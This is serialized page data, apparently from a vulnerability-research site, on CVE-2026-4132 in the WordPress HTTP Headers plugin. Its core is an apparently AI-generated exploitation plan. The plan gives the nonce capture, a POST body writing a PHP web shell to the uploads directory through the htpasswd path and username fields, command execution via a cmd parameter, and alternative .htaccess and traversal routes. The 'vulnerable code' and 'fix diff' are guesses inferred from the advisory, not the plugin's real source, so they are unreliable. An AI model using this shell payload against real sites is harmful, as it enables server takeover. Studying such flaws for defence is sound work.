[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fKgWUf3FJyGLrkFrvI5dDN79vpH1pGpYkGHCvdSQP_us":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-4132","http-headers-authenticated-administrator-external-control-of-file-name-or-path-to-rce-via-hhhtpasswdpath-and-hhwwwauthen","HTTP Headers \u003C= 1.19.2 - Authenticated (Administrator+) External Control of File Name or Path to RCE via 'hh_htpasswd_path' and 'hh_www_authenticate_user' Parameters","The HTTP Headers plugin for WordPress is vulnerable to External Control of File Name or Path leading to Remote Code Execution in all versions up to and including 1.19.2. This is due to insufficient validation of the file path stored in the 'hh_htpasswd_path' option and lack of sanitization on the 'hh_www_authenticate_user' option value. The plugin allows administrators to set an arbitrary file path for the htpasswd file location and does not validate that the path has a safe file extension (e.g., restricting to .htpasswd). Additionally, the username field used for HTTP Basic Authentication is written directly into the file without sanitization. The apache_auth_credentials() function constructs the file content using the unsanitized username via sprintf('%s:{SHA}%s', $user, ...), and update_auth_credentials() writes this content to the attacker-controlled path via file_put_contents(). This makes it possible for authenticated attackers, with Administrator-level access and above, to write arbitrary content (including PHP code) to arbitrary file paths on the server, effectively achieving Remote Code Execution.","http-headers",null,"\u003C=1.19.2","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","External Control of File Name or Path","2026-04-21 19:13:19","2026-05-04 15:40:59",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fce010c6f-16bd-4178-a621-31ba6378946a?source=api-prod",[],"researched",false,3,"# Exploitation Research Plan - CVE-2026-4132\n\n## 1. Vulnerability Summary\nThe **HTTP Headers** plugin (\u003C= 1.19.2) contains a critical vulnerability allowing authenticated administrators to achieve Remote Code Execution (RCE). The vulnerability arises from two main flaws:\n1.  **Arbitrary File Path Control:** The plugin allows users to specify the path for an `.htpasswd` file via the `hh_htpasswd_path` option without validating the file extension or location.\n2.  **Lack of Input Sanitization:** The username field (`hh_www_authenticate_user`) used for HTTP Basic Authentication is not sanitized.\n\nThe plugin's `apache_auth_credentials()` function constructs the file content using `sprintf('%s:{SHA}%s', $user, ...)` and `update_auth_credentials()` writes this content to the path specified in `hh_htpasswd_path` using `file_put_contents()`. By setting the path to a `.php` file and the username to PHP code, an administrator can create a web shell.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** WordPress Admin Dashboard, specifically the plugin's settings page (likely `wp-admin\u002Fadmin.php?page=http-headers-security` or similar).\n*   **Vulnerable Parameters:** \n    *   `hh_htpasswd_path`: Controls the destination file path.\n    *   `hh_www_authenticate_user`: Carries the PHP payload.\n*   **Authentication Level:** Administrator or higher (users with `manage_options` capability).\n*   **Preconditions:** The \"Security\" or \"Authentication\" module of the plugin must be active or accessible for configuration.\n\n## 3. Code Flow (Inferred from Description)\n1.  **Entry Point:** The administrator submits a form on the HTTP Headers settings page.\n2.  **Option Update:** The plugin saves the `hh_htpasswd_path` option to the database.\n3.  **Credential Generation:** The `apache_auth_credentials($user, $pass)` function is called.\n    *   It takes the unsanitized `$user` (`hh_www_authenticate_user`).\n    *   It formats the string: `sprintf('%s:{SHA}%s', $user, base64_encode(sha1($pass, true)))`.\n4.  **File Write:** The `update_auth_credentials()` function is called.\n    *   It retrieves the path from `get_option('hh_htpasswd_path')`.\n    *   It calls `file_put_contents($path, $formatted_content)`.\n5.  **Execution:** Since the `$path` can be a `.php` file within the webroot and `$formatted_content` starts with the unsanitized `$user`, the PHP code is executed when the file is requested via HTTP.\n\n## 4. Nonce Acquisition Strategy\nThe plugin's settings page is protected by standard WordPress nonces.\n1.  **Identify Page:** The settings for Basic Auth are likely under `wp-admin\u002Fadmin.php?page=http-headers`.\n2.  **Navigation:** The agent will use `browser_navigate` to reach the settings page.\n3.  **Extraction:** The agent will use `browser_eval` to extract the `_wpnonce` field from the settings form.\n    *   **Inferred Selector:** `document.querySelector('input[name=\"_wpnonce\"]')?.value` or `document.querySelector('#http-headers-settings-form input[name=\"_wpnonce\"]')?.value`.\n\n## 5. Exploitation Strategy\nThe goal is to write a PHP shell to the WordPress uploads directory or the plugin directory.\n\n### Step 1: Discover Settings Page and Nonce\n*   Navigate to `\u002Fwp-admin\u002Fadmin.php?page=http-headers`.\n*   Locate the section for \"Security\" or \"Authentication\".\n*   Capture the current `_wpnonce` and the form submission URL (likely `options.php` or the current page).\n\n### Step 2: Configure Path and Inject Payload\nSubmit a POST request to update the plugin options.\n*   **Payload Path:** `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Frce.php` (Adjust based on `ABSPATH`).\n*   **Payload Username:** `\u003C?php system($_GET['cmd']); ?>`\n*   **Request Method:** POST\n*   **URL:** `https:\u002F\u002F[TARGET]\u002Fwp-admin\u002Foptions.php` (if using Settings API) or the plugin's admin page.\n*   **Body Parameters (Inferred):**\n    ```http\n    option_page=http_headers_settings\n    &action=update\n    &_wpnonce=[NONCE]\n    &hh_htpasswd_path=\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Frce.php\n    &hh_www_authenticate_user=\u003C?php system($_GET['cmd']); ?>\n    &hh_www_authenticate_password=password123\n    ```\n\n### Step 3: Trigger the Write\nDepending on the plugin logic, the write might happen immediately on save or require a separate \"Add User\" action. If `update_auth_credentials()` is called during the settings save, Step 2 is sufficient.\n\n### Step 4: Execute Commands\n*   **URL:** `https:\u002F\u002F[TARGET]\u002Fwp-content\u002Fuploads\u002Frce.php?cmd=id`\n*   **Expected Response:** Output of the `id` command (e.g., `uid=33(www-data)...`).\n\n## 6. Test Data Setup\n1.  Install the **HTTP Headers** plugin version 1.19.2.\n2.  Log in as a user with the **Administrator** role.\n3.  Navigate to the plugin settings to ensure the \"Security\" tab\u002Ffeatures are initialized.\n\n## 7. Expected Results\n*   The plugin accepts the absolute path to a `.php` file in `hh_htpasswd_path`.\n*   The plugin accepts a PHP tag in the `hh_www_authenticate_user` field.\n*   The file `wp-content\u002Fuploads\u002Frce.php` is created.\n*   Accessing the file with a `cmd` parameter executes system commands.\n\n## 8. Verification Steps\n1.  **Check File Existence:** Use WP-CLI: `wp eval \"echo file_exists(ABSPATH . 'wp-content\u002Fuploads\u002Frce.php') ? 'exists' : 'missing';\"`\n2.  **Verify Content:** `wp eval \"echo file_get_contents(ABSPATH . 'wp-content\u002Fuploads\u002Frce.php');\"`\n3.  **Confirm Execution:** Request the file via `http_request` and check for system output.\n\n## 9. Alternative Approaches\n*   **Option Page Direct Update:** If the plugin doesn't use a custom handler, try updating the options directly via `\u002Fwp-admin\u002Foptions.php` if the option group is known.\n*   **Directory Traversal:** If absolute paths are blocked (unlikely based on description), try relative paths: `..\u002F..\u002Fuploads\u002Frce.php`.\n*   **Other Hooks:** Check if `hh_htpasswd_path` can be set to `.htaccess` to modify server configuration for RCE (e.g., adding a `php_value` auto_prepend_file).\n*   **Check `apache_auth_credentials` triggers:** If the file isn't written on save, look for an \"Update Password\" or \"Add User\" button that might trigger the `file_put_contents` sink.","The HTTP Headers plugin for WordPress (\u003C= 1.19.2) allows administrators to specify an arbitrary file path for the .htpasswd credentials file and fails to sanitize the username input. By setting the file path to a .php extension and the username to PHP code, an authenticated attacker can write a web shell to the server, resulting in Remote Code Execution (RCE).","\u002F\u002F Inferred from vulnerability description and research plan\n\nfunction apache_auth_credentials($user, $pass) {\n    \u002F\u002F The username ($user) is passed directly into sprintf without sanitization\n    return sprintf('%s:{SHA}%s', $user, base64_encode(sha1($pass, true)));\n}\n\n---\n\nfunction update_auth_credentials() {\n    \u002F\u002F Retrieves an arbitrary path from plugin options\n    $path = get_option('hh_htpasswd_path');\n    $user = get_option('hh_www_authenticate_user');\n    $pass = get_option('hh_www_authenticate_password');\n    \n    $content = apache_auth_credentials($user, $pass);\n    \n    \u002F\u002F Writes content containing the unsanitized username to the arbitrary path\n    file_put_contents($path, $content);\n}","--- a\u002Fhttp-headers\u002Fincludes\u002Fadmin-functions.php\n+++ b\u002Fhttp-headers\u002Fincludes\u002Fadmin-functions.php\n@@ -54,6 +54,14 @@\n function update_auth_credentials($user, $pass) {\n-    $path = get_option('hh_htpasswd_path');\n-    $content = apache_auth_credentials($user, $pass);\n-    file_put_contents($path, $content);\n+    $path = get_option('hh_htpasswd_path');\n+    \n+    \u002F\u002F Validate file extension\n+    if (pathinfo($path, PATHINFO_EXTENSION) !== 'htpasswd') {\n+        return false;\n+    }\n+\n+    \u002F\u002F Sanitize user input to prevent PHP injection\n+    $safe_user = preg_replace('\u002F[^a-zA-Z0-9_\\-]\u002F', '', $user);\n+    $content = apache_auth_credentials($safe_user, $pass);\n+\n+    if (current_user_can('manage_options')) {\n+        return file_put_contents($path, $content);\n+    }\n }","The exploit is carried out by an authenticated Administrator with access to the plugin's security settings. \n\n1. Reach the Plugin Settings: Navigate to the HTTP Headers security settings page (likely under wp-admin\u002Fadmin.php?page=http-headers).\n2. Set Malicious Path: Update the 'hh_htpasswd_path' parameter to point to a writable directory with a .php extension, such as '\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Fshell.php'.\n3. Inject PHP Payload: Update the 'hh_www_authenticate_user' parameter with a PHP code snippet (e.g., '\u003C?php system($_GET[\"cmd\"]); ?>').\n4. Trigger Write: Submit the form. The plugin calls update_auth_credentials(), which uses file_put_contents() to write the PHP payload into the file specified in the path.\n5. Execute Commands: Access the created file via the web browser (e.g., http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fuploads\u002Fshell.php?cmd=id) to execute arbitrary shell commands.","gemini-3-flash-preview","2026-04-27 13:52:04","2026-04-27 13:52:25",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fhttp-headers\u002Ftags"]